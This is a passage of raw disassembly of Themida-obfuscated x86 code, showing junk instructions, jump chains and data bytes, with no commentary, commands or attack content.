0FFFFC573h ; --------------------------------------------------------------------------- loc_55F4E8: ; CODE XREF: Themida_:00561B5Aj ; DATA XREF: Themida_:00556298o push dword ptr [edi+1Ch] popf pop ax adc [esp], ax pushf jmp loc_559285 ; --------------------------------------------------------------------------- loc_55F4F8: ; CODE XREF: Themida_:0055E1FFj push dword ptr [esp] mov edx, [esp] add esp, 4 jmp loc_568D6B ; --------------------------------------------------------------------------- dw 1489h aSoz db '$ИoZ',0 align 2 loc_55F50E: ; CODE XREF: Themida_:0055C9ECj add esi, 4 jmp loc_569B8B ; --------------------------------------------------------------------------- db 89h, 34h, 24h dd 0BC716ABEh, 8EEC146h, 2D53E681h, 0FBE92DE3h db 54h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55F52F: ; CODE XREF: Themida_:00559B05j mov [esp], ebx mov ebx, 2DE77ADh jmp loc_565ADF ; --------------------------------------------------------------------------- loc_55F53C: ; CODE XREF: Themida_:0055CD31j sub al, dl pop dx jmp loc_5569E4 ; --------------------------------------------------------------------------- loc_55F545: ; CODE XREF: Themida_:00564404j push edi push ebx jmp loc_55D782 ; --------------------------------------------------------------------------- loc_55F54C: ; CODE XREF: Themida_:00561C85j sub bh, 25h jmp loc_55E790 ; --------------------------------------------------------------------------- loc_55F554: ; CODE XREF: Themida_:00561302j push 5037h jmp loc_55764F ; --------------------------------------------------------------------------- aISo db '┬щ[Иo╡',0 align 2 loc_55F566: ; CODE XREF: Themida_:0055E1CFj not edi not edi sub edi, 0AF4A1853h mov ebx, edi pop edi sub ebx, eax push dword ptr [esp] pop eax add esp, 4 add eax, ebx jmp loc_569E8B ; --------------------------------------------------------------------------- loc_55F583: ; CODE XREF: Themida_:0056A6DEj pop edi add ebx, 2 xor ebx, [esp] xor [esp], ebx jmp loc_561124 ; --------------------------------------------------------------------------- loc_55F592: ; CODE XREF: Themida_:00559D4Cj sub esi, 67712509h add esi, 0E4005AA0h sub edi, 21A1692Bh jmp loc_55D810 ; --------------------------------------------------------------------------- loc_55F5A9: ; CODE XREF: Themida_:0056640Bj sub esp, 4 mov [esp], ecx mov ch, 5Bh push ecx mov ch, 17h jmp loc_5644BB ; --------------------------------------------------------------------------- loc_55F5B9: ; CODE XREF: Themida_:0055B840j xor edi, [esp] xor [esp], edi xor edi, [esp] jmp loc_566E91 ; --------------------------------------------------------------------------- loc_55F5C7: ; CODE XREF: Themida_:00564651j mov edi, 801A6AC7h xor ebp, edi jmp loc_55710A ; --------------------------------------------------------------------------- loc_55F5D3: ; CODE XREF: Themida_:00559980j pop edi jmp loc_5582D4 ; --------------------------------------------------------------------------- db 0F7h, 0D2h, 81h dd 0DFD29BF2h, 8BD509E0h, 0C4832414h, 8BED8104h, 0E951A4EDh dd 8EB5h ; --------------------------------------------------------------------------- loc_55F5F4: ; CODE XREF: Themida_:0055879Cj pop eax add eax, 0FFFFFFFFh jmp loc_556E55 ; --------------------------------------------------------------------------- loc_55F5FF: ; CODE XREF: Themida_:0055B532j ; Themida_:0056D263j push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] jmp loc_569214 ; --------------------------------------------------------------------------- dw 34FFh dd 243C8B24h, 4C481h, 89530000h, 0A10BE9E3h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F62A: ; CODE XREF: Themida_:00563706j push ebx jmp loc_567F7C ; --------------------------------------------------------------------------- loc_55F630: ; CODE XREF: Themida_:0056B4C9j mov edx, 6F217135h jmp loc_563F4E ; --------------------------------------------------------------------------- word_55F63A dw 34FFh ; DATA XREF: Themida_:005560F0o dd 49E95824h db 0B1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F643: ; CODE XREF: Themida_:00566B2Ej push eax mov eax, 31835151h jmp loc_565193 ; --------------------------------------------------------------------------- loc_55F64E: ; CODE XREF: Themida_:00559992j mov ecx, [esp] add esp, 4 shr bl, 1 js loc_55932F dec bl jge loc_556655 xor bl, 76h jno loc_559BEA push eax loc_55F671: ; CODE XREF: Themida_:loc_56187Aj dec eax jno loc_56AA25 jmp loc_561A9F ; --------------------------------------------------------------------------- db 68h, 0ADh, 6Eh dd 2C890000h db 24h, 5Eh ; --------------------------------------------------------------------------- loc_55F686: ; CODE XREF: Themida_:00565D48j add [esp+4], ecx pop ecx pop esi push ecx mov ecx, 2FE967F5h jmp loc_55E389 ; --------------------------------------------------------------------------- aJcsad db '\├ГИA╓',0 db 0 ; --------------------------------------------------------------------------- loc_55F69F: ; CODE XREF: Themida_:005593A8j sub edi, 366B72A1h add edi, 664147C7h shl edi, 3 sub esp, 4 mov [esp], ebp jmp loc_56B6AE ; --------------------------------------------------------------------------- db 52h, 0BAh, 4 dd 29000000h, 0A1E95AD7h db 0C8h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55F6C7: ; CODE XREF: Themida_:0056D103j xor eax, ebp mov ebp, [esp] push ebp mov ebp, esp jmp loc_5655FE ; --------------------------------------------------------------------------- dd 4C481h, 48F0000h, 0A213E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55F6E2: ; CODE XREF: Themida_:00568E10j add esp, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] push dword ptr [esp] jmp loc_558ADC ; --------------------------------------------------------------------------- loc_55F6FC: ; CODE XREF: Themida_:0055B819j ; Themida_:00562AE7j push esp pop ebx add ebx, 4 push esi push 3886h mov [esp], ebp mov ebp, 1CBC18F9h xor ebp, 2DF83BD0h jmp loc_55B5D2 ; --------------------------------------------------------------------------- loc_55F71D: ; CODE XREF: Themida_:0055B808j mov eax, edi pop edi add edi, eax pop eax pop edx push 1A6Fh mov [esp], eax mov eax, 4 sub edi, eax pop eax xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] jmp loc_556619 ; --------------------------------------------------------------------------- db 31h, 0CEh, 0E9h dd 0FFFF9E4Bh ; --------------------------------------------------------------------------- loc_55F74C: ; CODE XREF: Themida_:00557FA4j pop ebp add edi, ebp pop ebp push ebx mov ebx, 4 jmp loc_55EFDC ; --------------------------------------------------------------------------- loc_55F75B: ; CODE XREF: Themida_:0055DD22j sub edx, 579520Fh jbe loc_55EEBB push 45D0h mov [esp], ecx push 480048CEh jmp loc_56CBE4 ; --------------------------------------------------------------------------- loc_55F779: ; CODE XREF: Themida_:0056BB69j push ecx mov ch, 15h add ch, 2Fh jmp loc_55807D ; --------------------------------------------------------------------------- loc_55F784: ; CODE XREF: Themida_:005668ACj shr esi, 8 sub esi, 2CF40A97h add ecx, esi jmp loc_559BC3 ; --------------------------------------------------------------------------- dd 3318BE56h, 0D6F74F52h, 7920F681h, 0C6813CE1h, 45FC1F99h dd 7343E681h, 814E6286h, 8195CAEEh, 5EF10168h, 6DF6C681h dd 0CE0144A1h, 6DF6EE81h, 565944A1h, 42474FFh, 24048F5Eh dd 74FF525Ch, 148B0424h, 4EC8124h, 89000000h, 0E389241Ch dd 4C381h, 60E90000h db 0BEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F7EF: ; CODE XREF: Themida_:0056196Bj add ebp, eax pop eax push 5F9Ch mov [esp], ebp push dword ptr [esp+4] mov ebp, [esp] jmp loc_559F7C ; --------------------------------------------------------------------------- loc_55F806: ; CODE XREF: Themida_:0055A559j mov [esp], esp add dword ptr [esp], 4 pop ecx push esi jmp loc_568C61 ; --------------------------------------------------------------------------- loc_55F814: ; CODE XREF: Themida_:00561749j push ebx push esi push 28F26FA8h pop esi xchg ecx, esi not ecx jmp loc_568FB0 ; --------------------------------------------------------------------------- loc_55F825: ; CODE XREF: Themida_:00565CE1j pop dword ptr [esp] pop esp push 4CEBh mov [esp], ecx push esp pop ecx add ecx, 4 sub esp, 4 mov [esp], edx mov edx, 3F1F1FD3h dec edx sub edx, 3F1F1FCEh sub ecx, 62136C94h sub ecx, edx jmp loc_56BCA0 ; --------------------------------------------------------------------------- loc_55F858: ; CODE XREF: Themida_:005682DFj sub ebp, edx mov edx, [esp] add esp, 4 inc ebp push 7AB6h jmp loc_558635 ; --------------------------------------------------------------------------- loc_55F86E: ; CODE XREF: Themida_:0055ED6Aj add esp, 4 xor ch, 0A1h add bl, ch jmp loc_568DB7 ; --------------------------------------------------------------------------- loc_55F87B: ; CODE XREF: Themida_:00561D92j or ebx, 4F44429Ch not ebx push ecx mov ecx, 623E7D2Dh jmp loc_55D09F ; --------------------------------------------------------------------------- loc_55F88E: ; CODE XREF: Themida_:00557178j push dword ptr [esp] push dword ptr [esp] pop eax add esp, 4 add esp, 4 pop esi sub esp, 4 mov [esp], esi jmp loc_56D2C7 ; --------------------------------------------------------------------------- loc_55F8A7: ; CODE XREF: Themida_:0055E63Fj xor edx, ebx pop ebx sub esp, 4 mov [esp], ecx mov ecx, 65872D9Dh shl ecx, 6 dec ecx not ecx add ecx, 83F5BD10h or edx, ecx jmp loc_55C7EF ; --------------------------------------------------------------------------- loc_55F8CB: ; CODE XREF: Themida_:0056717Dj add edx, ecx add edx, 57FB5614h mov ecx, [esp] add esp, 4 add edx, edi sub edx, 1DF1137Eh pop edi pop ebp and eax, edx mov edx, [esp] add esp, 4 jmp loc_56667E ; --------------------------------------------------------------------------- loc_55F8F6: ; CODE XREF: Themida_:0056ADF3j or esi, 51A20675h jl loc_55F141 add esi, 0FB7F574Bh add esi, 84CEA1BCh jmp loc_568F21 ; --------------------------------------------------------------------------- loc_55F913: ; CODE XREF: Themida_:loc_55BC6Ej or eax, 45433082h jg loc_55839E jmp loc_55C564 ; --------------------------------------------------------------------------- db 0E9h dd 0FFFFE24Ch ; --------------------------------------------------------------------------- loc_55F928: ; CODE XREF: Themida_:00568547j mov ebx, [esp] add esp, 4 push edi mov edi, 84132CAh or esi, edi pop edi not esi inc esi jmp loc_566E6B ; --------------------------------------------------------------------------- loc_55F942: ; CODE XREF: Themida_:00567FA6j mov ebp, 4 sub esi, 2DA70294h add esi, ebp add esi, 2DA70294h pop ebp jmp loc_5688E3 ; --------------------------------------------------------------------------- byte_55F95B db 66h ; DATA XREF: Themida_:00556080o dd 68240C8Bh, 4D2Ch, 0FFCE9BE9h db 0FFh ; --------------------------------------------------------------------------- loc_55F969: ; CODE XREF: Themida_:00566B3Aj push esi mov esi, 55F95162h jmp loc_565CD2 ; --------------------------------------------------------------------------- loc_55F974: ; CODE XREF: Themida_:0055F327j pop eax shl ebp, 7 sub ebp, 0FFFFFFFFh and ebp, 73DC2378h push esi mov esi, 43155923h xor ebp, esi pop esi jmp loc_55C2DC ; --------------------------------------------------------------------------- loc_55F98F: ; CODE XREF: Themida_:0055D920j jmp loc_55C379 ; --------------------------------------------------------------------------- loc_55F994: ; CODE XREF: Themida_:loc_55989Ej and ebp, 25A316D3h add ebp, 226F5FA4h jmp loc_55EE6F ; --------------------------------------------------------------------------- loc_55F9A5: ; CODE XREF: Themida_:0055D872j sub ebx, 157A08B1h push eax mov eax, 1151526Dh shl eax, 4 or eax, 25D816FDh xor eax, 75653EC0h add ebx, eax jmp loc_56CD29 ; --------------------------------------------------------------------------- loc_55F9C5: ; CODE XREF: Themida_:00568BDAj pop eax push dx mov dl, 91h xor ch, dl pop dx xor al, ch push dword ptr [esp] pop ecx sub esp, 4 mov [esp], eax mov eax, esp jmp loc_558F4C ; --------------------------------------------------------------------------- loc_55F9E4: ; CODE XREF: Themida_:00561875j push ecx jmp loc_569248 ; --------------------------------------------------------------------------- loc_55F9EA: ; CODE XREF: Themida_:0055BDF5j sub ebx, 37F84735h jmp loc_55F09D ; --------------------------------------------------------------------------- loc_55F9F5: ; CODE XREF: Themida_:0055C74Cj ; Themida_:0055E233j sub dl, bh sub dl, 8Eh push eax push dx mov dh, 1Eh mov al, dh pop dx jmp loc_562033 ; --------------------------------------------------------------------------- loc_55FA08: ; CODE XREF: Themida_:00559F21j sub al, 0D6h sub al, 6Fh sub al, bh add al, 6Fh jmp loc_55C9F1 ; --------------------------------------------------------------------------- loc_55FA15: ; CODE XREF: Themida_:0055855Fj push 6C95h mov [esp], ebp jmp loc_566DD5 ; --------------------------------------------------------------------------- dw 15Fh dd 2434FFF1h, 5724348Bh, 0E2E9E789h db 4Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_55FA33: ; CODE XREF: Themida_:0056A17Aj neg ebx xor ebx, 20014806h add ecx, ebx pop ebx sub ecx, 4 jmp loc_5699AA ; --------------------------------------------------------------------------- loc_55FA49: ; CODE XREF: Themida_:0055873Fj mov ecx, 0FFFFFFFFh add edi, ecx pop ecx jmp loc_565C71 ; --------------------------------------------------------------------------- loc_55FA56: ; CODE XREF: Themida_:0056B560j add ebp, esi jmp loc_5594F6 ; --------------------------------------------------------------------------- loc_55FA5D: ; CODE XREF: Themida_:005594F1j sub al, dh push dword ptr [esp] mov edx, [esp] add esp, 4 add esp, 4 jmp loc_560586 ; --------------------------------------------------------------------------- db 89h dd 24048BC6h, 8104C483h, 0A7229AEEh, 0E9F3013Eh, 0B4A1h ; --------------------------------------------------------------------------- loc_55FA88: ; CODE XREF: Themida_:0055EAE1j mov ebp, [esp] add esp, 4 pop ebx jmp loc_563220 ; --------------------------------------------------------------------------- loc_55FA94: ; CODE XREF: Themida_:0056A4EEj shr esi, 2 jns loc_567613 dec esi and esi, 78185A10h add esi, 5C4CC9EBh pop esi loc_55FAAB: ; CODE XREF: Themida_:00567CADj mov ebp, 2B7F18B5h push 0 jmp loc_55A1A6 ; --------------------------------------------------------------------------- loc_55FABA: ; CODE XREF: Themida_:00567BEEj add esi, 4 push ebx mov ebx, 4 add esi, ebx jmp loc_56253F ; --------------------------------------------------------------------------- loc_55FACD: ; CODE XREF: Themida_:0056282Cj add [esp+4], ebp pop ebp jmp loc_55CDD8 ; --------------------------------------------------------------------------- loc_55FAD7: ; CODE XREF: Themida_:0055B461j pop eax dec edi dec edi jmp loc_559B9E ; --------------------------------------------------------------------------- db 83h dd 48704E8h, 17A8E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55FAEA: ; CODE XREF: Themida_:0056B56Bj add ax, 17BCh add ax, cx sub ax, 17BCh pop cx jmp loc_564F23 ; --------------------------------------------------------------------------- loc_55FAFC: ; CODE XREF: Themida_:00566E08j add ebp, esi pop esi jmp loc_55CF9A ; --------------------------------------------------------------------------- loc_55FB04: ; CODE XREF: Themida_:0056887Ej mov esi, ebx pop ebx jmp loc_5674F3 ; --------------------------------------------------------------------------- dword_55FB0C dd 115D68h, 243C8900h ; DATA XREF: Themida_:00556064o ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] mov esp, [esp] mov [esp], esi mov esi, eax mov edi, esi push dword ptr [esp] pop esi add esp, 4 mov eax, edi mov edi, [esp] push esi mov esi, esp add esi, 4 jmp loc_55A929 ; --------------------------------------------------------------------------- loc_55FB4A: ; CODE XREF: Themida_:00565E5Dj mov ebx, 36A6040Bh jmp loc_55EF63 ; --------------------------------------------------------------------------- loc_55FB54: ; CODE XREF: Themida_:0055E677j mov ecx, 7D612714h and ecx, 42DB4C12h inc ecx add ecx, 0D0E1107h dec ecx sub ecx, 2E8673B4h xor edx, ecx pop ecx jmp loc_55D284 ; --------------------------------------------------------------------------- loc_55FB75: ; CODE XREF: Themida_:0055FCDCj sub esp, 4 mov [esp], ebp push dword ptr [esp+4] push dword ptr [esp] pop ebp push 45F5h jmp loc_559941 ; --------------------------------------------------------------------------- loc_55FB8D: ; CODE XREF: Themida_:00569609j mov ebx, ecx mov ecx, [esp] jmp loc_55EF14 ; --------------------------------------------------------------------------- loc_55FB97: ; CODE XREF: Themida_:0056A44Bj pop ecx sub edx, 7AB70D15h sub edx, 170509A9h sub edx, ebx add edx, 170509A9h jmp loc_55DAF4 ; --------------------------------------------------------------------------- db 8Bh, 0Ch, 24h dd 1EA168h, 0CF29E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55FBBE: ; CODE XREF: Themida_:0055E7DFj ; Themida_:00569191j mov ecx, esp push esi jmp loc_56A489 ; --------------------------------------------------------------------------- loc_55FBC6: ; CODE XREF: Themida_:00565ED5j xchg ebp, [esp] mov esp, [esp] mov [esp], ebp sub esp, 4 push esp pop dword ptr [esp] push ebx jmp loc_561E08 ; --------------------------------------------------------------------------- loc_55FBDF: ; CODE XREF: Themida_:00569AABj mov [esp], edi push esp pop edi jmp loc_55713B ; --------------------------------------------------------------------------- loc_55FBE9: ; CODE XREF: Themida_:005678DAj push 472B2E42h jmp loc_560CB9 ; --------------------------------------------------------------------------- loc_55FBF3: ; CODE XREF: Themida_:0055E67Fj pop esp push 220Dh mov [esp], edx push 1499h push 35FFh mov [esp], esp add dword ptr [esp], 4 pop dword ptr [esp] push edx jmp loc_55A3D0 ; --------------------------------------------------------------------------- dw 0E089h dd 405h, 4BE5600h, 1000000h, 4875EF0h, 24248B24h, 4C481h dd 0D8290000h, 1619BB53h, 81572C58h, 4ECh, 24048900h, 1873F9B8h dd 850F4861h, 971Bh, 0BB8A0F40h, 8A00002Ah, 42EA8BF3h dd 0FFB720E9h db 0FFh ; --------------------------------------------------------------------------- loc_55FC61: ; CODE XREF: Themida_:00563D99j push ecx jmp loc_5657E3 ; --------------------------------------------------------------------------- db 5Ch dd 56241489h, 0E126B5BEh, 0C8C68119h, 4E1DAC1Bh, 0FF6CC0E9h dd 0DDB4FFh, 515866E5h, 0C180DFB1h, 6899E98Ch, 40E9FFFFh db 22h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55FC93: ; CODE XREF: Themida_:00561EFBj mov edx, esp jmp loc_557D92 ; --------------------------------------------------------------------------- loc_55FC9A: ; CODE XREF: Themida_:0055E1A6j mov eax, ecx jmp loc_569CEE ; --------------------------------------------------------------------------- loc_55FCA1: ; CODE XREF: Themida_:005566BCj add esp, 4 push edi push edx sub esp, 4 jmp loc_55CE6D ; --------------------------------------------------------------------------- loc_55FCB1: ; CODE XREF: Themida_:0056A332j push 16F9h mov [esp], esi push 3C9B2B0Dh mov esi, [esp] jmp loc_5570B9 ; --------------------------------------------------------------------------- loc_55FCC6: ; CODE XREF: Themida_:00565BE0j push ebp mov ebp, esp add ebp, 4 push eax push esi mov esi, 4 mov eax, esi pop esi add ebp, eax pop eax jmp loc_55FB75 ; --------------------------------------------------------------------------- loc_55FCE1: ; CODE XREF: Themida_:00560A2Dj add ebp, 4 sub ebp, 4 jmp loc_55E6E5 ; --------------------------------------------------------------------------- loc_55FCF2: ; CODE XREF: Themida_:0055F4C6j and ecx, 52A26A5h jge loc_56A2C9 sub ecx, 0EA93B0B8h push ecx jmp loc_56D438 ; --------------------------------------------------------------------------- dw 6BB6h ; --------------------------------------------------------------------------- loc_55FD0C: ; CODE XREF: Themida_:005593C5j xor eax, 20300C1Bh jmp loc_566D92 ; --------------------------------------------------------------------------- loc_55FD16: ; CODE XREF: Themida_:005567B9j add dl, bh add dl, 0A3h pop bx mov ch, dl mov edx, [esp] add esp, 4 add ch, 0E0h or ch, 9 xchg bl, ch neg bl jmp loc_5572FF ; --------------------------------------------------------------------------- loc_55FD34: ; CODE XREF: Themida_:0055E66Fj ; Themida_:0056627Ej push dword ptr [esp] pop eax add esp, 4 add ebx, 32CC106Eh add ebx, ebp jmp loc_565610 ; --------------------------------------------------------------------------- loc_55FD48: ; CODE XREF: Themida_:0055D254j xor edi, ebp jmp loc_55E602 ; --------------------------------------------------------------------------- loc_55FD4F: ; CODE XREF: Themida_:0055BE5Fj inc ebx sub ebx, 0E1FB25D8h sub eax, ebx pop ebx push 6BA2h mov [esp], edx sub esp, 4 mov [esp], ebx push 4CA5h mov [esp], edi push 447F55B2h jmp loc_566BD1 ; --------------------------------------------------------------------------- loc_55FD79: ; CODE XREF: Themida_:0056B22Aj or edi, eax pop eax sub esp, 4 mov [esp], eax mov eax, 71FF2C8Fh shl eax, 5 shr eax, 3 xor eax, 7803CDC7h sub edi, eax jmp loc_563B2D ; --------------------------------------------------------------------------- loc_55FD9C: ; CODE XREF: Themida_:00558B97j pop esi jmp loc_558338 ; --------------------------------------------------------------------------- dw 0E981h dd 7E52D3AFh, 0FFB322E9h db 0FFh ; --------------------------------------------------------------------------- loc_55FDAD: ; CODE XREF: Themida_:005694C9j mov eax, ebx pop ebx sub esp, 4 jmp loc_56749F ; --------------------------------------------------------------------------- loc_55FDB8: ; CODE XREF: Themida_:00564FD9j dec bh jnz loc_55BD40 push eax mov ah, 0DFh jmp loc_55DE53 ; --------------------------------------------------------------------------- dd 83242C8Bh db 0C4h, 4, 52h ; --------------------------------------------------------------------------- loc_55FDCF: ; CODE XREF: Themida_:00565B86j pop eax jmp loc_55BD78 ; --------------------------------------------------------------------------- loc_55FDD5: ; CODE XREF: Themida_:00564317j add edi, 4 xchg edi, [esp] jmp loc_56BCC5 ; --------------------------------------------------------------------------- byte_55FDE3 db 68h ; DATA XREF: Themida_:00556074o dd 369Dh, 0BA241489h, 38h, 0F9E95255h db 0F5h, 2 dup(0FFh) aMsg7 db '╛Иё7',0 ; DATA XREF: Themida_:005561D8o dd 241C3300h, 0CD3665Ch, 5BE99C24h db 5Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55FE0B: ; CODE XREF: Themida_:00567582j sub esp, 4 mov [esp], ebx not dword ptr [esp] pop ebx sub esp, 4 jmp loc_558482 ; --------------------------------------------------------------------------- loc_55FE23: ; CODE XREF: Themida_:0055AD6Aj push dword ptr [eax] jmp loc_5562E7 ; --------------------------------------------------------------------------- word_55FE2A dw 6664h ; DATA XREF: Themida_:00556020o dd 6866028Bh, 896673DDh, 0ACE92404h, 0DFFFF64h, 280674C4h dd 75CB870Fh, 0BF05FFFFh, 0E906A257h, 6A09h db 55h, 0B2h, 0A5h ; --------------------------------------------------------------------------- loc_55FE53: ; CODE XREF: Themida_:0055CD67j ; Themida_:0056CB4Ej jmp loc_561C4F ; --------------------------------------------------------------------------- loc_55FE58: ; CODE XREF: Themida_:005688EFj push ebx mov ebx, esp add ebx, 4 jmp loc_5658DB ; --------------------------------------------------------------------------- loc_55FE66: ; CODE XREF: Themida_:005672F7j add bl, 7Eh jmp loc_564D96 ; --------------------------------------------------------------------------- loc_55FE6E: ; CODE XREF: Themida_:00563751j ; Themida_:0056B713j add [esp+4], ebp pop ebp mov ecx, [esp] add esp, 4 push 7081h mov [esp], eax mov eax, 196C111Bh jmp loc_560819 ; --------------------------------------------------------------------------- loc_55FE8B: ; CODE XREF: Themida_:00569110j mov ebx, [esp] jmp loc_56329E ; --------------------------------------------------------------------------- loc_55FE93: ; CODE XREF: Themida_:005565D9j sub al, bl sub al, 0DFh push ebx mov bl, 53h jmp loc_56D408 ; --------------------------------------------------------------------------- db 0B8h dd 4, 49F0C781h, 0C701105Dh, 49F0EF81h, 0E958105Dh, 7793h ; --------------------------------------------------------------------------- loc_55FEB8: ; CODE XREF: Themida_:00561465j mov [esp], esp add dword ptr [esp], 4 pop ebx push ebp mov ebp, 17AD4D1Dh inc ebp dec ebp dec ebp or ebp, 37684609h dec ebp add ebp, 0C812B0E8h add ebx, ebp pop ebp push ebp push 7BDC3067h pop ebp or ebp, 1C0C3170h or ebp, 6F36255Dh add ebp, 0FFFFFFFFh shl ebp, 6 add ebp, 33F66116h push eax jmp loc_55E655 ; --------------------------------------------------------------------------- db 1, 0CAh, 59h dd 5204C283h, 42474FFh, 24048F5Ah, 4EC835Ch, 57241489h dd 4BFh, 5FFA8900h, 2B5EED81h, 0D5012885h, 2B5EC581h, 835A2885h dd 6D6802C5h, 8900006Eh, 74FF242Ch, 34FF0424h, 242C8B24h dd 4C481h, 0C4810000h, 4, 0E924048Fh, 0FFFFBEAEh ; --------------------------------------------------------------------------- loc_55FF58: ; CODE XREF: Themida_:0055B5CDj mov bh, 3Eh add al, bh mov bx, [esp] add esp, 2 push ebx jmp loc_567F24 ; --------------------------------------------------------------------------- dd 0C8B665Ch, 4C86824h, 4890000h, 0CA39E924h, 0BD550000h dd 1D454D48h, 0B850EDD1h, 3BBA688Bh, 0A50E882Dh, 0E9E8D10Eh dd 7F7Eh ; --------------------------------------------------------------------------- loc_55FF98: ; CODE XREF: Themida_:00563C10j sub edi, 943E80F7h mov ebp, edi pop edi jmp loc_564342 ; --------------------------------------------------------------------------- loc_55FFA6: ; CODE XREF: Themida_:00566654j mov [esp], ecx mov cl, 36h jmp loc_55E3F7 ; --------------------------------------------------------------------------- loc_55FFB0: ; CODE XREF: Themida_:00562473j xor ebp, 0BDD60EFFh push 44F4h mov [esp], ebp xor dword ptr [esp], 2D7E5D6Eh jmp loc_56973A ; --------------------------------------------------------------------------- dw 0EA81h dd 0AC48EEFCh, 2414F752h, 8324148Bh, 0C28104C4h, 2B172332h dd 502068h, 243C8900h, 0FF63B0BFh, 0E7C14757h, 99F78105h dd 817B1D02h, 88EEA1C7h, 0F47CE995h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560002: ; CODE XREF: Themida_:0055B857j mov cl, 3 mov dh, 0F8h xor dh, cl pop ecx add ch, dh pop dx sub bl, ch pop ecx add bl, 71h push dx push eax push edx jmp loc_55899E ; --------------------------------------------------------------------------- dd 4C6815Eh, 83000000h, 0D6E904C6h db 7Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_56002B: ; CODE XREF: Themida_:0056326Fj jmp loc_56D378 ; --------------------------------------------------------------------------- loc_560030: ; CODE XREF: Themida_:00564145j shr edi, 1 jnz loc_56CB8A sub edi, 7F7DFDEFh mov eax, edi mov edi, [esp] sub esp, 4 mov [esp], ebp push edi mov edi, 90A0C55h inc edi jmp loc_55A0C6 ; --------------------------------------------------------------------------- loc_560058: ; CODE XREF: Themida_:00566387j sub ch, 0D6h add bl, ch mov ecx, [esp] add esp, 4 add al, bl push dword ptr [esp] jmp loc_56C5A6 ; --------------------------------------------------------------------------- loc_56006D: ; CODE XREF: Themida_:0055ADA7j jmp loc_55DD9C ; --------------------------------------------------------------------------- loc_560072: ; CODE XREF: Themida_:005680F5j ; Themida_:0056C543j pop eax mov ebx, [esp] add esp, 4 push ecx jmp loc_568185 ; --------------------------------------------------------------------------- loc_56007F: ; CODE XREF: Themida_:00563056j jmp loc_55A2BB ; --------------------------------------------------------------------------- loc_560084: ; CODE XREF: Themida_:00565F71j push 10EDh jmp loc_5650C4 ; --------------------------------------------------------------------------- loc_56008E: ; CODE XREF: Themida_:00562E32j mov dl, 79h sub al, dl pop dx add al, 0C0h push ebx push edx mov dl, 3Ch xor dl, 3Fh mov bh, dl pop edx push cx mov cl, 22h jmp loc_557778 ; --------------------------------------------------------------------------- db 68h, 0D9h, 21h dd 0C890000h, 8AE95624h db 0A5h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5600B7: ; CODE XREF: Themida_:0056595Dj ; Themida_:00567A30j push ebx push dword ptr [esp+4] push dword ptr [esp] pop ebx jmp loc_55F16B ; --------------------------------------------------------------------------- db 81h, 0EAh, 46h dd 19915ADh, 24148BD1h, 4C481h, 0AD680000h, 0E9000057h dd 2894h ; --------------------------------------------------------------------------- loc_5600E0: ; CODE XREF: Themida_:0056C679j pop esp push ebp push edi push ebx mov ebx, 6EB730EAh add ebx, 1962348Fh jp loc_56A99E neg ebx jle loc_55EC5A and ebx, 7E8589Eh jmp loc_56A5C6 ; --------------------------------------------------------------------------- dd 0C588F888h, 59EC8858h, 83241C8Bh, 34FF04C4h, 0C4815924h dd 4, 0E92434FFh, 274Eh ; --------------------------------------------------------------------------- loc_560128: ; CODE XREF: Themida_:0056D2B3j push 4 mov ebx, [esp] add esp, 4 mov edx, ebx pop ebx push esi mov esi, 2B4711B0h add eax, esi pop esi sub eax, edx sub eax, 2B4711B0h pop edx jmp loc_557C86 ; --------------------------------------------------------------------------- db 0F7h dd 787B05D0h, 0E952A4F2h, 0FFFFA4DFh ; --------------------------------------------------------------------------- loc_56015C: ; CODE XREF: Themida_:0056978Ej mov cx, [esp] push esi push esp pop esi add esi, 4 add esi, 2 xchg esi, [esp] pop esp xor ah, 9Eh jmp loc_56AF37 ; --------------------------------------------------------------------------- loc_560178: ; CODE XREF: Themida_:0056BF05j sub ah, 1Ch add ah, 8Bh jmp loc_55ECB8 ; --------------------------------------------------------------------------- db 0FFh dd 81592434h, 4C4h, 0B3B85000h, 0F72B4A24h, 0E94840D8h dd 522h, 0B9240C89h, 5694241Dh, 86E9D1F7h, 8300004Eh, 0B9E904C7h db 0F0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5601B3: ; CODE XREF: Themida_:0055EC7Fj sub ecx, edx pop edx mov ebp, ecx pop ecx sub esp, 4 jmp loc_5649B4 ; --------------------------------------------------------------------------- db '^hр+',0 dw 0E900h dd 0FFFF9585h ; --------------------------------------------------------------------------- loc_5601CC: ; CODE XREF: Themida_:0055EF92j mov [esp], edx mov edx, 2 add edi, 789C119Fh add edi, edx push eax mov eax, 789C119Fh jmp loc_568E48 ; --------------------------------------------------------------------------- loc_5601E7: ; CODE XREF: Themida_:loc_55C751j jmp loc_563AAB ; --------------------------------------------------------------------------- loc_5601EC: ; CODE XREF: Themida_:loc_55813Fj jmp loc_559F75 ; --------------------------------------------------------------------------- loc_5601F1: ; CODE XREF: Themida_:005694E3j shl word ptr [esp], cl pushf jmp loc_5562E7 ; --------------------------------------------------------------------------- loc_5601FB: ; CODE XREF: Themida_:0055A0FBj mov ebx, [esp] add esp, 4 jmp loc_56AFA7 ; --------------------------------------------------------------------------- loc_560209: ; CODE XREF: Themida_:0056623Bj add ecx, edx push edi mov edi, 3586500h add ecx, edi jmp loc_55C3D6 ; --------------------------------------------------------------------------- dd 0DC1F860Fh, 0F781FFFFh, 652D5061h, 0FFB043E9h, 1D97BEFFh dd 0C6811B86h, 0FFD06D3h, 4DEAE9h db 0 ; --------------------------------------------------------------------------- loc_560239: ; CODE XREF: Themida_:00568C03j mov [esp], esp add dword ptr 